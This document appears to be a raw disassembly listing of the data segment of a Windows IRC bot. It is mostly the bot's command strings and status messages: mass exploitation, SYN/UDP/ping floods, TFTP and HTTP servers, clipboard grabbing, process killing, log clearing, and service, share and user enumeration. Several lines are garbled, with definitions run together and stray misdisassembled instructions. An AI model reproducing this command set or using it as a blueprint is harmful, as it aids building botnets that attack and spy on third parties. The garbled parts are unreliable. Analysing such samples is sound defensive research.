dword_42C134 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: seg000:loc_40ACA0o
dd 2029206Ch, 2BBBB02h
aCommandUnknown db ' Command unknown.',0
align 4
dword_42C164 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: seg000:loc_40AC96o
dd 2029206Ch, 2BBBB02h
aNoMessageSpeci db ' No message specified.',0
dword_42C198 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: seg000:loc_40AC48o
dd 2029206Ch, 2BBBB02h
aUserListFailed db ' User list failed.',0
dword_42C1C8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: seg000:0040AC3Eo
dd 2029206Ch, 2BBBB02h
aUserListComple db ' User list completed.',0
align 4
aUser db 'user',0 ; DATA XREF: seg000:0040ABB1o
align 4
dword_42C204 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: seg000:loc_40ABA6o
dd 2029206Ch, 2BBBB02h
aShareListFaile db ' Share list failed.',0
align 4
dword_42C238 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: seg000:0040AB9Co
dd 2029206Ch, 2BBBB02h
aShareListCompl db ' Share list completed.',0
aShare db 'share',0 ; DATA XREF: seg000:0040AB34o
align 4
aDelete db 'delete',0 ; DATA XREF: seg000:0040AB19o
align 4
aPause db 'pause',0 ; DATA XREF: seg000:0040AAE6o
align 4
aStop db 'stop',0 ; DATA XREF: seg000:0040AACEo
align 4
dword_42C28C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: seg000:loc_40AAC3o
dd 2029206Ch, 2BBBB02h
aServiceListFai db ' Service list failed.',0
align 10h
dword_42C2C0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: seg000:0040AAB9o
dd 2029206Ch, 2BBBB02h
aServiceListCom db ' Service list completed.',0
align 4
dword_42C2F8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: seg000:0040AA35o
dd 2029206Ch, 2BBBB02h
aFailedToLoadAd db ' Failed to load advapi32.dll or netapi32.dll.',0
align 4
aBox_net db 'box.net',0 ; DATA XREF: seg000:0040AA11o
aBox_rf db 'box.rf',0 ; DATA XREF: seg000:0040A9FAo
align 4
aBox_readfile db 'box.readfile',0 ; DATA XREF: seg000:0040A9E3o
align 4
aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: seg000:0040A9B5o
; seg000:0040A9CCo
align 10h
aBox_fl db 'box.fl',0 ; DATA XREF: seg000:0040A99Eo
align 4
aBox_filelist db 'box.filelist',0 ; DATA XREF: seg000:0040A987o
align 4
aBox_del db 'box.del',0 ; DATA XREF: seg000:0040A970o
aBox_delete db 'box.delete',0 ; DATA XREF: seg000:0040A959o
align 4
aBox_pkid db 'box.pkid',0 ; DATA XREF: seg000:0040A942o
align 4
aBox_prockillid db 'box.prockillid',0 ; DATA XREF: seg000:0040A92Bo
align 4
aBox_kpn db 'box.kpn',0 ; DATA XREF: seg000:0040A914o
aBox_killprocna db 'box.killprocname',0 ; DATA XREF: seg000:0040A8FDo
align 4
aEnz_dn db 'enz.dn',0 ; DATA XREF: seg000:0040A8E6o
align 4
aEnz_dns db 'enz.dns',0 ; DATA XREF: seg000:0040A8CFo
aEnz_se db 'enz.se',0 ; DATA XREF: seg000:0040A8B8o
align 4
aEnz_setserve db 'enz.setserve',0 ; DATA XREF: seg000:0040A8A1o
align 4
aBox_o db 'box.o',0 ; DATA XREF: seg000:0040A88Ao
align 4
aBox_open db 'box.open',0 ; DATA XREF: seg000:0040A873o
align 10h
aEnz_pr db 'enz.pr',0 ; DATA XREF: seg000:0040A85Co
align 4
aEnz_prefix db 'enz.prefix',0 ; DATA XREF: seg000:0040A845o
align 4
aClone_rn db 'clone.rn',0 ; DATA XREF: seg000:0040A82Eo
align 10h
aClone_rndnick db 'clone.rndnick',0 ; DATA XREF: seg000:0040A817o
align 10h
aClone_q db 'clone.q',0 ; DATA XREF: seg000:0040A800o
aClone_quit db 'clone.quit',0 ; DATA XREF: seg000:0040A7E9o
align 4
aThreads_k db 'threads.k',0 ; DATA XREF: seg000:0040A7D2o
align 10h
aThreads_kill db 'threads.kill',0 ; DATA XREF: seg000:0040A7BBo
align 10h
aEnz_r db 'enz.r',0 ; DATA XREF: seg000:0040A7A4o
align 4
aEnz_raw db 'enz.raw',0 ; DATA XREF: seg000:0040A78Do
aEnz_pt db 'enz.pt',0 ; DATA XREF: seg000:0040A776o
align 4
aEnz_part db 'enz.part',0 ; DATA XREF: seg000:0040A75Fo
align 4
aEnz_j db 'enz.j',0 ; DATA XREF: seg000:0040A748o
align 4
aEnz_join db 'enz.join',0 ; DATA XREF: seg000:0040A731o
align 4
aEnz_n db 'enz.n',0 ; DATA XREF: seg000:0040A71Ao
align 10h
aEnz_nick db 'enz.nick',0 ; DATA XREF: seg000:0040A703o
align 4
aVall db 'vall',0 ; DATA XREF: seg000:0040A6DDo
align 4
aVuln_massexplo db 'vuln.massexploit',0 ; DATA XREF: seg000:0040A6C8o
align 4
aServer_tf_on db 'server.tf.on',0 ; DATA XREF: seg000:0040A6B3o
align 4
aServer_tftp_on db 'server.tftp.on',0 ; DATA XREF: seg000:0040A69Eo
align 4
aServer_web_on db 'server.web.on',0 ; DATA XREF: seg000:0040A689o
align 4
aServer_httpd_o db 'server.httpd.on',0 ; DATA XREF: seg000:0040A674o
aVuln_cip db 'vuln.cip',0 ; DATA XREF: seg000:0040A65Fo
align 4
aVuln_currentip db 'vuln.currentip',0 ; DATA XREF: seg000:0040A64Ao
align 4
aUtil_fdns db 'util.fdns',0 ; DATA XREF: seg000:0040A635o
align 10h
aUtil_flushdns db 'util.flushdns',0 ; DATA XREF: seg000:0040A620o
align 10h
aUtil_farp db 'util.farp',0 ; DATA XREF: seg000:0040A60Bo
align 4
aUtil_flusharp db 'util.flusharp',0 ; DATA XREF: seg000:0040A5F6o
align 4
aBox_gc db 'box.gc',0 ; DATA XREF: seg000:0040A5E1o
align 4
aBox_getclip db 'box.getclip',0 ; DATA XREF: seg000:0040A5CCo
dword_42C580 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040A5C1o
dd 2029206Ch, 2BBBB02h
aLoginListCompl db ' Login list complete.',0
align 4
aD_S db '%d. %s',0 ; DATA XREF: seg000:0040A58Do
align 4
aEmpty db '<Empty>',0 ; DATA XREF: seg000:0040A580o
aLoginList db '-[Login List]-',0 ; DATA XREF: seg000:0040A55Eo
align 4
aEnz_who db 'enz.who',0 ; DATA XREF: seg000:0040A545o
aBox_dll db 'box.dll',0 ; DATA XREF: seg000:0040A530o
aBox_testdlls db 'box.testdlls',0 ; DATA XREF: seg000:0040A51Bo
align 4
aBox_drv db 'box.drv',0 ; DATA XREF: seg000:0040A506o
aBox_driveinfo db 'box.driveinfo',0 ; DATA XREF: seg000:0040A4F1o
align 4
aBox_up db 'box.up',0 ; DATA XREF: seg000:0040A4DCo
align 4
aBox_uptime db 'box.uptime',0 ; DATA XREF: seg000:0040A4C7o
align 10h
aBox_ps db 'box.ps',0 ; DATA XREF: seg000:0040A4B2o
align 4
aBox_procs db 'box.procs',0 ; DATA XREF: seg000:0040A49Do
align 4
aEnz_010 db 'enz.010',0 ; DATA XREF: seg000:0040A488o
aEnz_be010ne db 'enz.be010ne',0 ; DATA XREF: seg000:0040A473o
aBox_si db 'box.si',0 ; DATA XREF: seg000:0040A45Eo
align 10h
aBox_sysinfo db 'box.sysinfo',0 ; DATA XREF: seg000:0040A449o
aBox_ni db 'box.ni',0 ; DATA XREF: seg000:0040A434o
align 4
aBox_netinfo db 'box.netinfo',0 ; DATA XREF: seg000:0040A41Fo
aUtil_clg db 'util.clg',0 ; DATA XREF: seg000:0040A40Ao
align 4
aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: seg000:0040A3F5o
align 4
aEnz_lg db 'enz.lg',0 ; DATA XREF: seg000:0040A3E0o
align 4
aEnz_log db 'enz.log',0 ; DATA XREF: seg000:0040A3CBo
aEnz_al db 'enz.al',0 ; DATA XREF: seg000:0040A3B6o
align 4
aEnz_aliases db 'enz.aliases',0 ; DATA XREF: seg000:0040A3A1o
aThreads_l db 'threads.l',0 ; DATA XREF: seg000:0040A38Co
align 4
aThreads_list db 'threads.list',0 ; DATA XREF: seg000:0040A377o
align 4
dword_42C6CC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040A343o
dd 2029206Ch, 2BBBB02h
aFailedToReboot db ' Failed to reboot system.',0
align 4
dword_42C704 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040A33Co
dd 2029206Ch, 2BBBB02h
aRebootingSyste db ' Rebooting system.',0
aBox_rebewt db 'box.rebewt',0 ; DATA XREF: seg000:0040A325o
align 10h
aEnz_i db 'enz.i',0 ; DATA XREF: seg000:0040A310o
align 4
aEnz_id db 'enz.id',0 ; DATA XREF: seg000:0040A2FBo
align 10h
aEnz_s db 'enz.s',0 ; DATA XREF: seg000:0040A2E6o
align 4
aEnz_status db 'enz.status',0 ; DATA XREF: seg000:0040A2D1o
align 4
aEnz_t3rm1 db 'enz.t3rm1',0 ; DATA XREF: seg000:0040A2BCo
align 10h
aEnz_t3rm1nate db 'enz.t3rm1nate',0 ; DATA XREF: seg000:0040A2A7o
align 10h
aEnz_et3 db 'enz.et3',0 ; DATA XREF: seg000:0040A292o
aEnz_endt3rm db 'enz.endt3rm',0 ; DATA XREF: seg000:0040A27Do
aEnz_rh4 db 'enz.rh4',0 ; DATA XREF: seg000:0040A268o
aEnz_reh4sh db 'enz.reh4sh',0 ; DATA XREF: seg000:0040A253o
align 4
aVuln_st db 'vuln.st',0 ; DATA XREF: seg000:0040A23Eo
aVuln_stats db 'vuln.stats',0 ; DATA XREF: seg000:0040A229o
align 4
aExploitation db 'Exploitation',0 ; DATA XREF: seg000:0040A21Eo
align 4
aScan db 'Scan',0 ; DATA XREF: seg000:0040A219o
align 4
aVuln_stop db 'vuln.stop',0 ; DATA XREF: seg000:0040A200o
align 10h
dword_42C7E0 dd 65027302h, 1F727563h, 2E2E1F65h, 0aSecure db 'Secure',0 ; DATA XREF: seg000:0040A1F0o
align 4
aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: seg000:0040A1D7o
align 4
dword_42C808 dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0aClone db 'Clone',0 ; DATA XREF: seg000:0040A1C7o
align 10h
aClone_off db 'clone.off',0 ; DATA XREF: seg000:0040A1AEo
align 4
aBox_ps_off db 'box.ps.off',0 ; DATA XREF: seg000:0040A199o
align 4
aBox_procs_off db 'box.procs.off',0 ; DATA XREF: seg000:0040A184o
align 4
dword_42C848 dd 66027402h, 641F7074h, 2E2E1FhaServer_tftp_of db 'server.tftp.off',0 ; DATA XREF: seg000:0040A15Bo
dword_42C864 dd 69027002h, 1F671F6Eh, 2E2Ehdword_42C870 dd 676E6950h, 6F6C6620h, 646Fhdword_42C87C dd 736F6464h, 6E69702Eh, 666F2E67h, 66hdword_42C88C dd 64027502h, 2E1F701Fh, 2Ehdword_42C898 dd 20504455h, 6F6F6C66h, 64hdword_42C8A4 dd 736F6464h, 7064752Eh, 66666F2Eh, 0dword_42C8B4 dd 79027302h, 2E1F6E1Fh, 2Ehdword_42C8C0 dd 206E7953h, 6F6F6C66h, 64hdword_42C8CC dd 736F6464h, 6E79732Eh, 66666F2Eh, 0dword_42C8DC dd 64026402h, 1F731F6Fh, 2E2Ehdword_42C8E8 dd 536F4444h, 6F6C6620h, 646Fhdword_42C8F4 dd 736F6464h, 66666F2Eh, 0dword_42C900 dd 65027202h, 65726964h, 1F741F63h, 2E2Ehdword_42C910 dd 20504354h, 69646572h, 74636572h, 0aServer_redirec db 'server.redirect.off',0 ; DATA XREF: seg000:0040A08Eo
dword_42C934 dd 6F026C02h, 2E1F671Fh, 2Ehdword_42C940 dd 20676F4Ch, 7473696Ch, 0dword_42C94C dd 2E676F6Ch, 66666Fhdword_42C954 dd 74026802h, 641F7074h, 2E2E1Fhdword_42C960 dd 76726573h, 772E7265h, 6F2E6265h, 6666hdword_42C970 dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2EhaServer db 'Server',0 ; DATA XREF: seg000:0040A02Co
; seg000:0040A055o ...
align 4
aServer_rlogin_ db 'server.rlogin.off',0 ; DATA XREF: seg000:0040A013o
align 4
aEnz_lo db 'enz.lo',0 ; DATA XREF: seg000:00409FFEo
align 4
aEnz_logout db 'enz.logout',0 ; DATA XREF: seg000:00409FE9o
align 10h
aEnz_d db 'enz.d',0 ; DATA XREF: seg000:00409FD4o
align 4
aEnz_endsess db 'enz.endsess',0 ; DATA XREF: seg000:00409FBFo
aEnz_rn db 'enz.rn',0 ; DATA XREF: seg000:00409FAAo
align 4
aEnz_rndnick db 'enz.rndnick',0 ; DATA XREF: seg000:00409F92o
a63 db '63',0 ; DATA XREF: seg000:00409E7Do
align 4
asc_42C9DC: ; DATA XREF: seg000:00409E5Eo
unicode 0, <)>,0
aChr db '$chr(',0 ; DATA XREF: seg000:00409E27o
align 4
aServer_2 db '$server',0 ; DATA XREF: seg000:00409E1Co
aRndnick db '$rndnick',0 ; DATA XREF: seg000:00409E0Bo
align 4
aChan db '$chan',0 ; DATA XREF: seg000:00409DF2o
align 4
aUser_2 db '$user',0 ; DATA XREF: seg000:00409DE1o
align 4
aMe_0 db '$me',0 ; DATA XREF: seg000:00409DCFo
aD_0 db '$%d',0 ; DATA XREF: seg000:00409D67o
aD_1 db '$%d-',0 ; DATA XREF: seg000:00409CBBo
align 4
dword_42CA1C dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: seg000:00409C53o
dd 0A0Dh
dword_42CA34 dd 4E495001h, 47haSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: seg000:00409BE4o
align 4
dword_42CA58 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: seg000:00409BCAo
dd 0D017325h, 0Ah
dword_42CA74 dd 52455601h, 4E4F4953h, 1dword_42CA80 dd 6968h aNewshit0 db 'newshit0',0 ; DATA XREF: seg000:00409A54o
align 10h
a332 db '332',0 ; DATA XREF: seg000:004099C5o
; seg000:00409A8Bo ...
aNotice db 'NOTICE',0 ; DATA XREF: seg000:004099A3o
; sub_40E367+Fo
align 4
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: seg000:00409997o
; sub_40E367+16o
dword_42CAA4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:00409946o
dd 2029206Ch, 2BBBB02h
aUserSLoggedOut db ' User: %s logged out.',0
align 4
dword_42CAD8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:00409926o
dd 2029206Ch, 2BBBB02h
aJoinedChanne_0 db ' Joined channel: %s.',0
align 4
a353 db '353',0 ; DATA XREF: seg000:004098EFo
aPart db 'PART',0 ; DATA XREF: seg000:004098A1o
; seg000:00409963o
align 4
aSS_0 db ':%s%s',0 ; DATA XREF: seg000:00409879o
align 10h
aNick db 'NICK',0 ; DATA XREF: seg000:0040975Bo
align 4
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: seg000:004096FEo
; seg000:00409987o
dword_42CB38 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:004096E5o
; seg000:0040E063o ...
dd 2029206Ch, 2BBBB02h
aUserSLoggedO_0 db ' User %s logged out.',0
align 4
aKick db 'KICK',0 ; DATA XREF: seg000:00409674o
align 4
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040961Do
; seg000:0040D364o ...
align 10h
a433 db '433',0 ; DATA XREF: seg000:004095F5o
a302 db '302',0 ; DATA XREF: seg000:004095BAo
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:00409574o
; seg000:00409748o ...
align 4
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: seg000:00409553o
align 4
aPing db 'PING',0 ; DATA XREF: seg000:00409539o
align 4
asc_42CBAC db ' :',0 ; DATA XREF: seg000:00409416o
; seg000:loc_409C5Do
align 10h
dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
dword_42CC40 dd 25207325h, 253A2073h, 0A0D73h, 0off_42CC50 dd offset aAdd ; DATA XREF: sub_40E402+6Dr
; sub_40E7E6+50r ...
; "Add"
off_42CC54 dd offset aAdded ; DATA XREF: sub_40E402+2Dr
; sub_40E7E6+82r ...
; "Added"
dword_42CC58 dd 0 dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 8
dd offset aList_0 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 10h
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 42CCC4h, 42CCBCh, 2, 42CCB0h, 42CCA4h, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: seg002:0042CC84o
aStop_0 db 'Stop',0 ; DATA XREF: seg002:0042CC80o
align 4
aStarted db 'Started',0 ; DATA XREF: seg002:0042CC78o
aStart_0 db 'Start',0 ; DATA XREF: seg002:0042CC74o
align 4
aListed db 'Listed',0 ; DATA XREF: seg002:0042CC6Co
align 4
aList_0 db 'List',0 ; DATA XREF: seg002:0042CC68o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: seg002:0042CC60o
aDelete_0 db 'Delete',0 ; DATA XREF: seg002:0042CC5Co
align 4
aAdded db 'Added',0 ; DATA XREF: seg002:off_42CC54o
align 4
aAdd db 'Add',0 ; DATA XREF: seg002:off_42CC50o
dword_42CD18 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40E402+74o
dd 2029206Ch, 2BBBB02h
aSNoServiceSpec db ' %s: No service specified.',0
dword_42CD50 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40E402+55o
dd 2029206Ch, 2BBBB02h
aErrorWithServi db ' Error with service: ',27h,'%s',27h,'. %s',0
align 4
dword_42CD8C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40E402+38o
dd 2029206Ch, 2BBBB02h
aSServiceS_ db ' %s service: ',27h,'%s',27h,'.',0
aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40E52B+12Co
align 10h
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_40E52B:loc_40E643o
align 10h
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_40E52B:loc_40E63Co
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_40E52B:loc_40E635o
db 'the state of the service.',0
align 10h
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_40E52B:loc_40E62Eo
align 4
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_40E52B:loc_40E627o
db ' correct access rights.',0
align 4
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_40E52B:loc_40E620o
align 10h
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_40E52B:loc_40E619o
align 10h
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_40E52B:loc_40E612o
align 4
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_40E52B:loc_40E60Bo
db 'marked for deletion.',0
align 4
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_40E52B:loc_40E604o
align 4
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_40E52B:loc_40E5D9o
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_40E52B:loc_40E5D2o
db ' the service.',0
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_40E52B:loc_40E5CBo
db 'tServiceCtrlDispatcher.',0
align 10h
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_40E52B:loc_40E5C4o
align 10h
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_40E52B+8Fo
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_40E52B:loc_40E599o
db 'dependent on it.',0
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_40E52B:loc_40E58Fo
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_40E52B:loc_40E585o
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_40E52B:loc_40E57Bo
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_40E52B:loc_40E571o
align 10h
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_40E52B+3Co
align 4
aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_40E6A9+EBo
aStopped db ' Stopped',0 ; DATA XREF: sub_40E6A9:loc_40E775o
aStarting db ' Starting',0 ; DATA XREF: sub_40E6A9:loc_40E76Eo
aStoping db ' Stoping',0 ; DATA XREF: sub_40E6A9:loc_40E767o
aRunning_0 db ' Running',0 ; DATA XREF: sub_40E6A9:loc_40E760o
aContinuing db ' Continuing',0 ; DATA XREF: sub_40E6A9:loc_40E759o
aPausing db ' Pausing',0 ; DATA XREF: sub_40E6A9:loc_40E752o
aPaused_0 db ' Paused',0 ; DATA XREF: sub_40E6A9:loc_40E74Bo
aUnknown_1 db ' Unknown',0 ; DATA XREF: sub_40E6A9+9Bo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_40E6A9+25o
align 4
dword_42D2F4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40E7E6+ABo
dd 2029206Ch, 2BBBB02h
aSNoShareSpecif db ' %s: No share specified.',0
align 4
dword_42D32C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40E7E6+89o
dd 2029206Ch, 2BBBB02h
aSShareS_ db ' %s share: ',27h,'%s',27h,'.',0
align 4
dword_42D35C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40E7E6+57o
dd 2029206Ch, 2BBBB02h
aSErrorWithShar db ' %s: Error with share: ',27h,'%s',27h,'. %s',0
align 4
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40E9DB+D0o
align 4
aNo db 'No',0 ; DATA XREF: sub_40E9DB+BCo
align 4
aYes db 'Yes',0 ; DATA XREF: sub_40E9DB+B5o
dword_42D3BC dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40E9DB+76o
dd 2029206Ch, 2BBBB02h
aShareListError db ' Share list error: %s <%ld>',0
align 4
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_40E9DB+26o
align 10h
dword_42D430 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40EAFC+B6o
dd 2029206Ch, 2BBBB02h
aSNoUsernameSpe db ' %s: No username specified.',0
align 4
dword_42D46C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40EAFC+94o
dd 2029206Ch, 2BBBB02h
aSErrorWithUser db ' %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_42D4AC dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40EAFC+6Do
dd 2029206Ch, 2BBBB02h
aSUsernameS_ db ' %s username: ',27h,'%s',27h,'.',0
align 10h
dword_42D4E0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40EC42+394o
dd 2029206Ch, 2BBBB02h
aUserInfoErrorL db ' User info error: <%ld>',0
align 4
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_40EC42+36Ao
align 4
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_40EC42+33Fo
align 10h
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40EC42+317o
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_40EC42+2ECo
align 4
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_40EC42+2C4o
align 4
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_40EC42+299o
align 10h
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_40EC42+271o
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_40EC42+246o
align 10h
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_40EC42+21Eo
align 4
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_40EC42+1F3o
align 10h
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_40EC42+1CBo
align 4
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_40EC42+1A0o
align 4
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_40EC42+178o
align 4
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_40EC42+14Do
align 4
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_40EC42+125o
aGuest db 'Guest',0 ; DATA XREF: sub_40EC42:loc_40ED5Bo
align 4
aUser_1 db 'User',0 ; DATA XREF: sub_40EC42:loc_40ED54o
align 4
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_40EC42+D4o
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_40EC42+ACo
align 4
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_40EC42+81o
align 4
aAccountS db 'Account: %S',0 ; DATA XREF: sub_40EC42+50o
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_40F010+14Fo
align 10h
dword_42D6A0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40F010+F7o
dd 2029206Ch, 2BBBB02h
aAnAccessViolat db ' An access violation has occured.',0
align 10h
aS_4 db ' %S',0 ; DATA XREF: sub_40F010+BEo
align 4
dword_42D6E8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40F010+7Ao
dd 2029206Ch, 2BBBB02h
aUserListErrorS db ' User list error: %s <%ld>',0
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_40F010+29o
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_40F190:loc_40F2ADo
align 4
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_40F190:loc_40F2A6o
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_40F190:loc_40F29Fo
align 4
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_40F190:loc_40F298o
align 4
aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_40F190:loc_40F291o
align 4
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_40F190:loc_40F274o
db 'ord policy requirement.)',0
align 4
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_40F190:loc_40F26Do
align 10h
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_40F190:loc_40F266o
align 4
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_40F190+CFo
db ' the domain.',0
align 4
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_40F190:loc_40F23Bo
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_40F190:loc_40F234o
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_40F190:loc_40F22Do
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40F190:loc_40F223o
align 4
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_40F190+89o
align 4
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_40F190:loc_40F1FDo
align 4
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_40F190:loc_40F1F3o
align 4
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_40F190:loc_40F1E9o
align 10h
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_40F190:loc_40F1DFo
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_40F190:loc_40F1D5o
align 10h
